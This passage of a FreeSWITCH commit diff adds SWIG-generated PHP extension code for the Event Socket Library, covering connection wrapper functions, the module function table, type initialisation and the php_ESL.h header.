+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_recvEventTimed. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,7,CONVERT_INT_IN@*/
+  convert_to_long_ex(args[1]);
+  arg2 = (int) Z_LVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (ESLevent *)(arg1)->recvEventTimed(arg2);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_filter) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  ESLevent *result = 0 ;
+  zval **args[3];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 3 || zend_get_parameters_array_ex(3, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_filter. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[2]);
+  arg3 = (char *) Z_STRVAL_PP(args[2]);
+  /*@SWIG@*/;
+  
+  result = (ESLevent *)(arg1)->filter((char const *)arg2,(char const *)arg3);
+  {
+    SWIG_SetPointerZval(return_value, (void *)result, SWIGTYPE_p_ESLevent, 1);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_events) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) 0 ;
+  int result;
+  zval **args[3];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 3 || zend_get_parameters_array_ex(3, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_events. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[2]);
+  arg3 = (char *) Z_STRVAL_PP(args[2]);
+  /*@SWIG@*/;
+  
+  result = (int)(arg1)->events((char const *)arg2,(char const *)arg3);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_execute) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  zval **args[4];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<2 || arg_count>4 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_execute. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  if(arg_count > 2) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[2]);
+    arg3 = (char *) Z_STRVAL_PP(args[2]);
+    /*@SWIG@*/;
+    
+  }
+  if(arg_count > 3) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[3]);
+    arg4 = (char *) Z_STRVAL_PP(args[3]);
+    /*@SWIG@*/;
+    
+  }
+  result = (int)(arg1)->execute((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_executeAsync) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  char *arg3 = (char *) NULL ;
+  char *arg4 = (char *) NULL ;
+  int result;
+  zval **args[4];
+  int arg_count;
+  
+  SWIG_ResetError();
+  arg_count = ZEND_NUM_ARGS();
+  if(arg_count<2 || arg_count>4 ||
+    zend_get_parameters_array_ex(arg_count,args)!=SUCCESS)
+  WRONG_PARAM_COUNT;
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_executeAsync. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  if(arg_count > 2) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[2]);
+    arg3 = (char *) Z_STRVAL_PP(args[2]);
+    /*@SWIG@*/;
+    
+  }
+  if(arg_count > 3) {
+    /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+    convert_to_string_ex(args[3]);
+    arg4 = (char *) Z_STRVAL_PP(args[3]);
+    /*@SWIG@*/;
+    
+  }
+  result = (int)(arg1)->executeAsync((char const *)arg2,(char const *)arg3,(char const *)arg4);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_setAsyncExecute) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_setAsyncExecute. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (int)(arg1)->setAsyncExecute((char const *)arg2);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_setEventLock) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  char *arg2 = (char *) 0 ;
+  int result;
+  zval **args[2];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 2 || zend_get_parameters_array_ex(2, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_setEventLock. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,26,CONVERT_STRING_IN@*/
+  convert_to_string_ex(args[1]);
+  arg2 = (char *) Z_STRVAL_PP(args[1]);
+  /*@SWIG@*/;
+  
+  result = (int)(arg1)->setEventLock((char const *)arg2);
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_disconnect) {
+  ESLconnection *arg1 = (ESLconnection *) 0 ;
+  int result;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  {
+    if(SWIG_ConvertPtr(*args[0], (void **) &arg1, SWIGTYPE_p_ESLconnection, 0) < 0) {
+      SWIG_PHP_Error(E_ERROR, "Type error in argument 1 of ESLconnection_disconnect. Expected SWIGTYPE_p_ESLconnection");
+    }
+  }
+  if(!arg1) SWIG_PHP_Error(E_ERROR, "this pointer is NULL");
+  result = (int)(arg1)->disconnect();
+  {
+    ZVAL_LONG(return_value,result);
+  }
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+ZEND_NAMED_FUNCTION(_wrap_eslSetLogLevel) {
+  int arg1 ;
+  zval **args[1];
+  
+  SWIG_ResetError();
+  if(ZEND_NUM_ARGS() != 1 || zend_get_parameters_array_ex(1, args) != SUCCESS) {
+    WRONG_PARAM_COUNT;
+  }
+  
+  
+  /*@SWIG:/usr/share/swig/1.3.35/php4/utils.i,7,CONVERT_INT_IN@*/
+  convert_to_long_ex(args[0]);
+  arg1 = (int) Z_LVAL_PP(args[0]);
+  /*@SWIG@*/;
+  
+  eslSetLogLevel(arg1);
+  
+  return;
+fail:
+  zend_error(SWIG_ErrorCode(),SWIG_ErrorMsg());
+}
+
+
+/* NEW Destructor style */
+static ZEND_RSRC_DTOR_FUNC(_wrap_destroy_p_esl_priority_t) {
+  /* No destructor for simple type _p_esl_priority_t */
+}
+/* NEW Destructor style */
+static ZEND_RSRC_DTOR_FUNC(_wrap_destroy_p_ESLevent) {
+  __wrap_delete_ESLevent(rsrc, SWIGTYPE_p_ESLevent->name TSRMLS_CC);
+}
+/* NEW Destructor style */
+static ZEND_RSRC_DTOR_FUNC(_wrap_destroy_p_esl_event_t) {
+  /* No destructor for simple type _p_esl_event_t */
+}
+/* NEW Destructor style */
+static ZEND_RSRC_DTOR_FUNC(_wrap_destroy_p_ESLconnection) {
+  __wrap_delete_ESLconnection(rsrc, SWIGTYPE_p_ESLconnection->name TSRMLS_CC);
+}
+/* end wrapper section */
+/* class entry subsection */
+
+
+/* entry subsection */
+/* Every non-class user visible function must have an entry here */
+static zend_function_entry ESL_functions[] = {
+ SWIG_ZEND_NAMED_FE(eslevent_event_set,_wrap_ESLevent_event_set,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_event_get,_wrap_ESLevent_event_get,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_serialized_string_set,_wrap_ESLevent_serialized_string_set,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_serialized_string_get,_wrap_ESLevent_serialized_string_get,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_mine_set,_wrap_ESLevent_mine_set,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_mine_get,_wrap_ESLevent_mine_get,NULL)
+ SWIG_ZEND_NAMED_FE(new_eslevent,_wrap_new_ESLevent,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_serialize,_wrap_ESLevent_serialize,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_setpriority,_wrap_ESLevent_setPriority,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_getheader,_wrap_ESLevent_getHeader,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_getbody,_wrap_ESLevent_getBody,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_gettype,_wrap_ESLevent_getType,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_addbody,_wrap_ESLevent_addBody,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_addheader,_wrap_ESLevent_addHeader,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_delheader,_wrap_ESLevent_delHeader,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_firstheader,_wrap_ESLevent_firstHeader,NULL)
+ SWIG_ZEND_NAMED_FE(eslevent_nextheader,_wrap_ESLevent_nextHeader,NULL)
+ SWIG_ZEND_NAMED_FE(new_eslconnection,_wrap_new_ESLconnection,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_socketdescriptor,_wrap_ESLconnection_socketDescriptor,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_connected,_wrap_ESLconnection_connected,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_getinfo,_wrap_ESLconnection_getInfo,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_send,_wrap_ESLconnection_send,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_sendrecv,_wrap_ESLconnection_sendRecv,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_api,_wrap_ESLconnection_api,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_bgapi,_wrap_ESLconnection_bgapi,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_sendevent,_wrap_ESLconnection_sendEvent,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_recvevent,_wrap_ESLconnection_recvEvent,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_recveventtimed,_wrap_ESLconnection_recvEventTimed,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_filter,_wrap_ESLconnection_filter,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_events,_wrap_ESLconnection_events,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_execute,_wrap_ESLconnection_execute,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_executeasync,_wrap_ESLconnection_executeAsync,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_setasyncexecute,_wrap_ESLconnection_setAsyncExecute,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_seteventlock,_wrap_ESLconnection_setEventLock,NULL)
+ SWIG_ZEND_NAMED_FE(eslconnection_disconnect,_wrap_ESLconnection_disconnect,NULL)
+ SWIG_ZEND_NAMED_FE(eslsetloglevel,_wrap_eslSetLogLevel,NULL)
+{NULL, NULL, NULL}
+};
+
+/* init section */
+zend_module_entry ESL_module_entry = {
+#if ZEND_MODULE_API_NO > 20010900
+    STANDARD_MODULE_HEADER,
+#endif
+    (char*)"ESL",
+    ESL_functions,
+    PHP_MINIT(ESL),
+    PHP_MSHUTDOWN(ESL),
+    PHP_RINIT(ESL),
+    PHP_RSHUTDOWN(ESL),
+    PHP_MINFO(ESL),
+#if ZEND_MODULE_API_NO > 20010900
+    NO_VERSION_YET,
+#endif
+    STANDARD_MODULE_PROPERTIES
+};
+zend_module_entry* SWIG_module_entry = &ESL_module_entry;
+
+#ifdef __cplusplus
+extern "C" {
+#endif
+SWIGEXPORT zend_module_entry *get_module(void) { return &ESL_module_entry; }
+#ifdef __cplusplus
+}
+#endif
+
+#define SWIG_php_minit PHP_MINIT_FUNCTION(ESL)
+/* -----------------------------------------------------------------------------
+ * Type initialization:
+ * This problem is tough by the requirement that no dynamic 
+ * memory is used. Also, since swig_type_info structures store pointers to 
+ * swig_cast_info structures and swig_cast_info structures store pointers back
+ * to swig_type_info structures, we need some lookup code at initialization. 
+ * The idea is that swig generates all the structures that are needed. 
+ * The runtime then collects these partially filled structures. 
+ * The SWIG_InitializeModule function takes these initial arrays out of 
+ * swig_module, and does all the lookup, filling in the swig_module.types
+ * array with the correct data and linking the correct swig_cast_info
+ * structures together.
+ *
+ * The generated swig_type_info structures are assigned staticly to an initial 
+ * array. We just loop through that array, and handle each type individually.
+ * First we lookup if this type has been already loaded, and if so, use the
+ * loaded structure instead of the generated one. Then we have to fill in the
+ * cast linked list. The cast data is initially stored in something like a
+ * two-dimensional array. Each row corresponds to a type (there are the same
+ * number of rows as there are in the swig_type_initial array). Each entry in
+ * a column is one of the swig_cast_info structures for that type.
+ * The cast_initial array is actually an array of arrays, because each row has
+ * a variable number of columns. So to actually build the cast linked list,
+ * we find the array of casts associated with the type, and loop through it 
+ * adding the casts to the list. The one last trick we need to do is making
+ * sure the type pointer in the swig_cast_info struct is correct.
+ *
+ * First off, we lookup the cast->type name to see if it is already loaded. 
+ * There are three cases to handle:
+ *  1) If the cast->type has already been loaded AND the type we are adding
+ *     casting info to has not been loaded (it is in this module), THEN we
+ *     replace the cast->type pointer with the type pointer that has already
+ *     been loaded.
+ *  2) If BOTH types (the one we are adding casting info to, and the 
+ *     cast->type) are loaded, THEN the cast info has already been loaded by
+ *     the previous module so we just ignore it.
+ *  3) Finally, if cast->type has not already been loaded, then we add that
+ *     swig_cast_info to the linked list (because the cast->type) pointer will
+ *     be correct.
+ * ----------------------------------------------------------------------------- */
+
+#ifdef __cplusplus
+extern "C" {
+#if 0
+} /* c-mode */
+#endif
+#endif
+
+#if 0
+#define SWIGRUNTIME_DEBUG
+#endif
+
+
+SWIGRUNTIME void
+SWIG_InitializeModule(void *clientdata) {
+  size_t i;
+  swig_module_info *module_head, *iter;
+  int found, init;
+
+  clientdata = clientdata;
+
+  /* check to see if the circular list has been setup, if not, set it up */
+  if (swig_module.next==0) {
+    /* Initialize the swig_module */
+    swig_module.type_initial = swig_type_initial;
+    swig_module.cast_initial = swig_cast_initial;
+    swig_module.next = &swig_module;
+    init = 1;
+  } else {
+    init = 0;
+  }
+
+  /* Try and load any already created modules */
+  module_head = SWIG_GetModule(clientdata);
+  if (!module_head) {
+    /* This is the first module loaded for this interpreter */
+    /* so set the swig module into the interpreter */
+    SWIG_SetModule(clientdata, &swig_module);
+    module_head = &swig_module;
+  } else {
+    /* the interpreter has loaded a SWIG module, but has it loaded this one? */
+    found=0;
+    iter=module_head;
+    do {
+      if (iter==&swig_module) {
+        found=1;
+        break;
+      }
+      iter=iter->next;
+    } while (iter!= module_head);
+
+    /* if the is found in the list, then all is done and we may leave */
+    if (found) return;
+    /* otherwise we must add out module into the list */
+    swig_module.next = module_head->next;
+    module_head->next = &swig_module;
+  }
+
+  /* When multiple interpeters are used, a module could have already been initialized in
+     a different interpreter, but not yet have a pointer in this interpreter.
+     In this case, we do not want to continue adding types... everything should be
+     set up already */
+  if (init == 0) return;
+
+  /* Now work on filling in swig_module.types */
+#ifdef SWIGRUNTIME_DEBUG
+  printf("SWIG_InitializeModule: size %d\n", swig_module.size);
+#endif
+  for (i = 0; i < swig_module.size; ++i) {
+    swig_type_info *type = 0;
+    swig_type_info *ret;
+    swig_cast_info *cast;
+  
+#ifdef SWIGRUNTIME_DEBUG
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+#endif
+
+    /* if there is another module already loaded */
+    if (swig_module.next != &swig_module) {
+      type = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, swig_module.type_initial[i]->name);
+    }
+    if (type) {
+      /* Overwrite clientdata field */
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found type %s\n", type->name);
+#endif
+      if (swig_module.type_initial[i]->clientdata) {
+	type->clientdata = swig_module.type_initial[i]->clientdata;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: found and overwrite type %s \n", type->name);
+#endif
+      }
+    } else {
+      type = swig_module.type_initial[i];
+    }
+
+    /* Insert casting types */
+    cast = swig_module.cast_initial[i];
+    while (cast->type) {
+    
+      /* Don't need to add information already in the list */
+      ret = 0;
+#ifdef SWIGRUNTIME_DEBUG
+      printf("SWIG_InitializeModule: look cast %s\n", cast->type->name);
+#endif
+      if (swig_module.next != &swig_module) {
+        ret = SWIG_MangledTypeQueryModule(swig_module.next, &swig_module, cast->type->name);
+#ifdef SWIGRUNTIME_DEBUG
+	if (ret) printf("SWIG_InitializeModule: found cast %s\n", ret->name);
+#endif
+      }
+      if (ret) {
+	if (type == swig_module.type_initial[i]) {
+#ifdef SWIGRUNTIME_DEBUG
+	  printf("SWIG_InitializeModule: skip old type %s\n", ret->name);
+#endif
+	  cast->type = ret;
+	  ret = 0;
+	} else {
+	  /* Check for casting already in the list */
+	  swig_cast_info *ocast = SWIG_TypeCheck(ret->name, type);
+#ifdef SWIGRUNTIME_DEBUG
+	  if (ocast) printf("SWIG_InitializeModule: skip old cast %s\n", ret->name);
+#endif
+	  if (!ocast) ret = 0;
+	}
+      }
+
+      if (!ret) {
+#ifdef SWIGRUNTIME_DEBUG
+	printf("SWIG_InitializeModule: adding cast %s\n", cast->type->name);
+#endif
+        if (type->cast) {
+          type->cast->prev = cast;
+          cast->next = type->cast;
+        }
+        type->cast = cast;
+      }
+      cast++;
+    }
+    /* Set entry in modules->types array equal to the type */
+    swig_module.types[i] = type;
+  }
+  swig_module.types[i] = 0;
+
+#ifdef SWIGRUNTIME_DEBUG
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+  for (i = 0; i < swig_module.size; ++i) {
+    int j = 0;
+    swig_cast_info *cast = swig_module.cast_initial[i];
+    printf("SWIG_InitializeModule: type %d %s\n", i, swig_module.type_initial[i]->name);
+    while (cast->type) {
+      printf("SWIG_InitializeModule: cast type %s\n", cast->type->name);
+      cast++;
+      ++j;
+    }
+  printf("---- Total casts: %d\n",j);
+  }
+  printf("**** SWIG_InitializeModule: Cast List ******\n");
+#endif
+}
+
+/* This function will propagate the clientdata field of type to
+* any new swig_type_info structures that have been added into the list
+* of equivalent types.  It is like calling
+* SWIG_TypeClientData(type, clientdata) a second time.
+*/
+SWIGRUNTIME void
+SWIG_PropagateClientData(void) {
+  size_t i;
+  swig_cast_info *equiv;
+  static int init_run = 0;
+
+  if (init_run) return;
+  init_run = 1;
+
+  for (i = 0; i < swig_module.size; i++) {
+    if (swig_module.types[i]->clientdata) {
+      equiv = swig_module.types[i]->cast;
+      while (equiv) {
+        if (!equiv->converter) {
+          if (equiv->type && !equiv->type->clientdata)
+            SWIG_TypeClientData(equiv->type, swig_module.types[i]->clientdata);
+        }
+        equiv = equiv->next;
+      }
+    }
+  }
+}
+
+#ifdef __cplusplus
+#if 0
+{ /* c-mode */
+#endif
+}
+#endif
+
+
+  SWIG_php_minit {
+    SWIG_InitializeModule(0);
+
+/* oinit subsection */
+ZEND_INIT_MODULE_GLOBALS(ESL, ESL_init_globals, ESL_destroy_globals);
+
+/* Register resource destructors for pointer types */
+le_swig__p_esl_priority_t=zend_register_list_destructors_ex(_wrap_destroy_p_esl_priority_t,NULL,(char *)(SWIGTYPE_p_esl_priority_t->name),module_number);
+SWIG_TypeClientData(SWIGTYPE_p_esl_priority_t,&le_swig__p_esl_priority_t);
+le_swig__p_ESLevent=zend_register_list_destructors_ex(_wrap_destroy_p_ESLevent,NULL,(char *)(SWIGTYPE_p_ESLevent->name),module_number);
+SWIG_TypeClientData(SWIGTYPE_p_ESLevent,&le_swig__p_ESLevent);
+le_swig__p_esl_event_t=zend_register_list_destructors_ex(_wrap_destroy_p_esl_event_t,NULL,(char *)(SWIGTYPE_p_esl_event_t->name),module_number);
+SWIG_TypeClientData(SWIGTYPE_p_esl_event_t,&le_swig__p_esl_event_t);
+le_swig__p_ESLconnection=zend_register_list_destructors_ex(_wrap_destroy_p_ESLconnection,NULL,(char *)(SWIGTYPE_p_ESLconnection->name),module_number);
+SWIG_TypeClientData(SWIGTYPE_p_ESLconnection,&le_swig__p_ESLconnection);
+CG(active_class_entry) = NULL;
+/* end oinit subsection */
+
+/* cinit subsection */
+/* end cinit subsection */
+
+    return SUCCESS;
+}
+
+PHP_RINIT_FUNCTION(ESL)
+{
+/* rinit section */
+
+/* vinit subsection */
+/* end vinit subsection */
+
+    return SUCCESS;
+}
+
+PHP_MSHUTDOWN_FUNCTION(ESL)
+{
+/* shutdown section */
+#ifdef ZTS
+    ts_free_id(ESL_globals_id);
+#endif
+    return SUCCESS;
+}
+
+PHP_RSHUTDOWN_FUNCTION(ESL)
+{
+/* rshutdown section */
+
+    return SUCCESS;
+}
+
+PHP_MINFO_FUNCTION(ESL)
+{
+}
+/* end init section */

Deleted: freeswitch/branches/seven/libs/esl/php/php_ESL.h

Copied: freeswitch/branches/seven/libs/esl/php/php_ESL.h (from rev 14471, freeswitch/trunk/libs/esl/php/php_ESL.h) (0 => 14472)


--- freeswitch/branches/seven/libs/esl/php/php_ESL.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/esl/php/php_ESL.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,71 @@
+/* ----------------------------------------------------------------------------
+ * This file was automatically generated by SWIG (http://www.swig.org).
+ * Version 1.3.35
+ * 
+ * This file is not intended to be easily readable and contains a number of 
+ * coding conventions designed to improve portability and efficiency. Do not make
+ * changes to this file unless you know what you are doing--modify the SWIG 
+ * interface file instead. 
+ * ----------------------------------------------------------------------------- */
+
+
+
+#ifndef PHP_ESL_H
+#define PHP_ESL_H
+
+extern zend_module_entry ESL_module_entry;
+#define phpext_ESL_ptr &ESL_module_entry
+
+#ifdef PHP_WIN32
+# define PHP_ESL_API __declspec(dllexport)
+#else
+# define PHP_ESL_API
+#endif
+
+#ifdef ZTS
+#include "TSRM.h"
+#endif
+
+PHP_MINIT_FUNCTION(ESL);
+PHP_MSHUTDOWN_FUNCTION(ESL);
+PHP_RINIT_FUNCTION(ESL);
+PHP_RSHUTDOWN_FUNCTION(ESL);
+PHP_MINFO_FUNCTION(ESL);
+
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_event_set);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_event_get);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_serialized_string_set);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_serialized_string_get);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_mine_set);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_mine_get);
+ZEND_NAMED_FUNCTION(_wrap_new_ESLevent);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_serialize);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_setPriority);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_getHeader);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_getBody);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_getType);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_addBody);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_addHeader);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_delHeader);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_firstHeader);
+ZEND_NAMED_FUNCTION(_wrap_ESLevent_nextHeader);
+ZEND_NAMED_FUNCTION(_wrap_new_ESLconnection);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_socketDescriptor);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_connected);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_getInfo);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_send);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_sendRecv);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_api);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_bgapi);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_sendEvent);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_recvEvent);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_recvEventTimed);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_filter);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_events);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_execute);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_executeAsync);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_setAsyncExecute);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_setEventLock);
+ZEND_NAMED_FUNCTION(_wrap_ESLconnection_disconnect);
+ZEND_NAMED_FUNCTION(_wrap_eslSetLogLevel);
+#endif /* PHP_ESL_H */

Deleted: freeswitch/branches/seven/libs/esl/php/single_command.php

